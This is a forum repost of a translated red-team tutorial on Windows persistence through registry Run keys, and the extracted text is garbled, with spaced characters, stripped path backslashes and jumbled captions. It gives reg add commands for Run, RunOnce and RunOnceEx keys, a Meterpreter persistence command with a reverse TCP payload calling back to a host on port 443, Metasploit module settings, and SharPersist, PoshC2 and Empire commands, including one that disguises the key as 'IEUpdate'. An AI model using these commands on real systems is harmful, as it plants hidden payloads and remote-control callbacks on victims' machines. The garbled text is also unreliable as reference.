搜索

[944] 2019-11-05_Window权限维持（一）：注册表运行键

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2019-11-05_Window权限维持（一）：注册表运行键 W i n d o w 权 限 维 持 （ 一 ） ： 注 册 表 运 行 键 原 创   B y p a s s   B y p a s s   2 0 1 9 - 1 1 - 0 5 在 红 队 行 动 中 在 网 络 中 获 得 最 初 的 立 足 点 是 一 项 耗 时 的 任 务 。 因 此 ， 持 久 性 是 红 队 成 功 运 作 的 关 键 ， 这 将 使 团 队 能 够 专 注 于 目 标 ， 而 不 会 失 去 与 指 挥 和 控 制 服 务 器 的 通 信 。 在 W i n d o w s 登 录 期 间 创 建 将 执 行 任 意 负 载 的 注 册 表 项 是 红 队 游 戏 手 册 中 最 古 老 的 技 巧 之 一 。 这 种 持 久 性 技 术 需 要 创 建 注 册 表 运 行 键 各 种 威 胁 因 素 和 已 知 工 具 ， 如 M e t a s p l o i t 、 E m p i r e 和 S h a r P e r s i s t ， 都 提 供 了 这 种 能 力 ， 因 此 ， 成 熟 的 S O C 团 队 将 能 够 检 测 到 这 种 恶 意 活 动 。 命 令 行 命 令 行 注 册 表 项 可 以 从 终 端 添 加 到 运 行 键 以 实 现 持 久 性 。 这 些 键 将 包 含 对 用 户 登 录 时 将 执 行 的 实 际 负 载 的 引 用 ， 已 知 使 用 此 持 久 性 方 法 的 威 胁 因 素 和 红 队 使 用 以 下 注 册 表 位 置 。   注 册 表 – 当 前 用 户 的 运 行 键 如 果 已 获 得 提 升 的 凭 据 ， 则 最 好 使 用 本 地 计 算 机 注 册 表 位 置 ， 而 不 是 当 前 用 户 ， 因 为 有 效 负 载 将 在 每 次 系 统 启 动 时 执 行 ， 而 与 使 用 系 统 身 份 验 证 的 用 户 无 关 。 译 文 声 明 ： 本 文 由 B y p a s s 整 理 并 翻 译 ， 仅 用 于 安 全 研 究 和 学 习 之 用 。 原 文 地 址 ： h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 9 / 1 0 / 0 1 / p e r s i s t e n c e - r e g i s t r y - r u n - k e y s / r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : U s e r s p e n t e s t l a b p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : U s e r s p e n t e s t l a b p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : U s e r s p e n t e s t l a b p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s O n c e "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : U s e r s p e n t e s t l a b p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : t m p p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : t m p p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : t m p p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s O n c e "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : t m p p e n t e s t l a b . e x e "
  注 册 表 – 运 行 键 本 地 计 算 机 在 下 一 次 登 录 期 间 ， 有 效 负 载 将 执 行 并 与 回 传 给 M e t e r p e t e r 。 M e t e r p r e t e r   – 运 行 键 另 外 两 个 注 册 表 位 置 ， 这 些 位 置 可 以 允 许 红 队 通 过 执 行 任 意 有 效 负 载 或 D L L 来 实 现 持 久 性 。 这 些 将 在 登 录 期 间 执 行 ， 并 且 需 要 管 理 员 级 别 的 特 权 。 M e t e r p r e t e r   – 任 意 D L L M e t a s p l o i t M e t a s p l o i t   F r a m e w o r k 通 过 使 用 M e t e r p r e t e r 脚 本 和 后 期 利 用 模 块 来 支 持 通 过 注 册 表 的 持 久 性 。 M e t e r p r e t e r 脚 本 将 以 V B S 脚 本 的 形 式 创 建 一 个 有 效 负 载 ， 该 负 载 将 被 拖 放 到 磁 盘 上 ， 并 将 创 建 一 个 注 册 表 项 ， 该 注 册 表 项 将 在 用 户 登 录 期 间 运 行 该 有 效 负 载 。 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e E x 0 0 0 1 "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : t m p p e n t e s t l a b . e x e " r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e E x 0 0 0 1 D e p e n d "   / v   P e n t e s t l a b   / t   R E G _ S Z   / d   " C : t m p p e n t e s t l a b . d l l " r u n   p e r s i s t e n c e   - U   - P   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   - i   5   - p   4 4 3   - r   1 0 . 0 . 2 . 2 1
M e t a s p l o i t   –   M e t e r p r e t e r 持 久 性 脚 本 用 户 下 次 登 录 系 统 时 ， 将 打 开 一 个 新 的 M e t e r p r e t e r 会 话 。   M e t a s p l o i t   –   M e t e r p r e t e r 会 话 另 外 ， 还 有 一 个 后 期 开 发 模 块 ， 可 用 于 持 久 性 。 该 模 块 需 要 以 下 配 置 ， 并 将 可 执 行 文 件 放 置 在 受 感 染 系 统 上 的 可 写 位 置 。   M e t a s p l o i t   – 持 久 性 利 用 后 开 发 模 块 配 置 由 于 已 选 择 U S E R 作 为 选 项 ， 该 模 块 将 使 用 当 前 用 户 的 注 册 表 位 置 。 M e t a s p l o i t   – 持 久 性 后 期 开 发 模 块 如 果 已 获 得 系 统 级 别 的 特 权 ， 则 可 以 将 该 模 块 配 置 为 在 H K L M 位 置 中 创 建 注 册 表 项 。 该 S T A R T U P 选 项 将 需 要 改 变 系 统 。 M e t a s p l o i t   – 作 为 系 统 的 持 久 性 模 块 S h a r P e r s i s t S h a r P e r s i s t 是 B r e t t   H a w k i n s 在 C ＃ 中 开 发 的 工 具 ， 它 结 合 了 多 种 持 久 性 技 术 ， 包 括 添 加 注 册 表 运 行 键 。 该 工 具 包 可 以 加 载 到 支 持 反 射 加 载 的 各 种 命 令 和 控 制 框 架 中 ， 例 如 C o b a l t   S t r i k e 和 P o s h C 2 。 以 下 命 令 将 创 建 一 个 注 册 表 项 ， 该 注 册 表 项 将 从 与 M e t a s p l o i t   F r a m e w o r k 模 块 相 同 的 注 册 表 位 置 执 行 任 意 有 效 负 载 。 u s e   p o s t / w i n d o w s / m a n a g e / p e r s i s t e n c e _ e x e s e t   R E X E P A T H   / t m p / p e n t e s t l a b . e x e s e t   S E S S I O N   2 s e t   S T A R T U P   U S E R s e t   L O C A L E X E P A T H   C : t m p r u n s e t   S T A R T U P   S Y S T E M S h a r P e r s i s t   - t   r e g   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - k   " h k c u r u n "   - v   " p e n t e s t l a b "   - m   a d d
  S h a r P e r s i s t   – 以 用 户 身 份 注 册 如 果 已 获 得 提 升 的 访 问 权 限 ， 请 修 改 命 令 以 在 本 地 计 算 机 位 置 中 安 装 注 册 表 项 ， 以 实 现 所 有 用 户 的 持 久 性 。   S h a r P e r s i s t   – 注 册 为 S Y S T E M S h a r P e r s i s t 还 通 过 R u n O n c e 和 R u n O n c e E x 注 册 表 项 包 含 持 久 性 功 能 。 以 下 命 令 将 在 这 些 位 置 创 建 注 册 表 项 ， 这 些 注 册 表 项 将 执 行 任 意 有 效 负 载 。   S h a r P e r s i s t   –   R u n O n c e 注 册 表 项 S h a r P e r s i s t 还 提 供 了 使 用 另 一 个 注 册 表 位 置 进 行 持 久 化 的 选 项 （ U s e r I n i t M p r L o g o n S c r i p t ） 。 S h a r P e r s i s t   - t   r e g   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - k   " h k l m r u n "   - v   " p e n t e s t l a b "   - m   a d d   - o   e n v S h a r P e r s i s t   - t   r e g   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   p e n t e s t l a b . e x e "   - k   " h k l m r u n o n c e "   - v   " P e n t e s t l a b "   - m   a d d S h a r P e r s i s t   - t   r e g   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   p e n t e s t l a b . e x e "   - k   " h k l m r u n o n c e e x "   - v   " P e n t e s t l a b "   - m   a d d S h a r P e r s i s t   - t   r e g   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   p e n t e s t l a b . e x e "   - k   " h k c u r u n o n c e "   - v   " P e n t e s t l a b "   - m   a d d S h a r P e r s i s t   - t   r e g   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   p e n t e s t l a b . e x e "   - k   " l o g o n s c r i p t "   - m   a d d
S h a r P e r s i s t   – 登 录 脚 本 P o s h C 2 P o s h C 2 支 持 各 种 持 久 性 功 能 ， 包 括 注 册 表 运 行 键 的 方 法 。 以 下 命 令 将 在 目 标 主 机 中 创 建 两 个 注 册 表 项 。   P o s h C 2   – 持 久 性 注 册 表 的 “ 运 行 ” 项 将 具 有 I E U p d a t e 的 名 称 ， 以 便 看 起 来 合 法 ， 第 二 个 注 册 表 项 将 作 为 墙 纸 隐 藏 在 注 册 表 中 。 P o s h C 2   – 注 册 表 运 行 键 E m p i r e 如 果 将 E m p i r e 用 作 命 令 和 控 件 ， E m p i r e 包 含 两 个 与 通 过 注 册 表 运 行 项 与 持 久 性 技 术 对 齐 的 模 块 。 根 据 特 权 级 别 ， 这 些 模 块 将 尝 试 在 以 下 注 册 表 位 置 中 安 装 b a s e 6 4 有 效 负 载 ： i n s t a l l - p e r s i s t e n c e H K C U : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n D e b u g H K L M : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n D e b u g
  E m p i r e   –   D e b u g   注 册 表 项 有 效 负 载   E m p i r e   – P e r s i s t e n c e   R e g i s t r y   M o d u l e 将 在 名 称 U p d a t e r 下 创 建 另 一 个 注 册 表 项 ， 该 注 册 表 项 将 包 含 要 执 行 的 命 令 。 P o w e r S h e l l 将 尝 试 在 下 次 登 录 时 运 行 D e b u g 密 钥 中 存 储 的 有 效 负 载 ， 以 实 现 持 久 性 。   E m p i r e   –   R e g i s t r y   R u n   K e y 我 创 建 了 一 个 付 费 社 群 ， 用 于 分 享 高 质 量 安 全 干 货 ， 有 兴 趣 的 童 鞋 都 可 以 加 入 ! u s e m o d u l e   p e r s i s t e n c e / u s e r l a n d / r e g i s t r y u s e m o d u l e   p e r s i s t e n c e / e l e v a t e d / r e g i s t r y * H K C U : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K L M : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理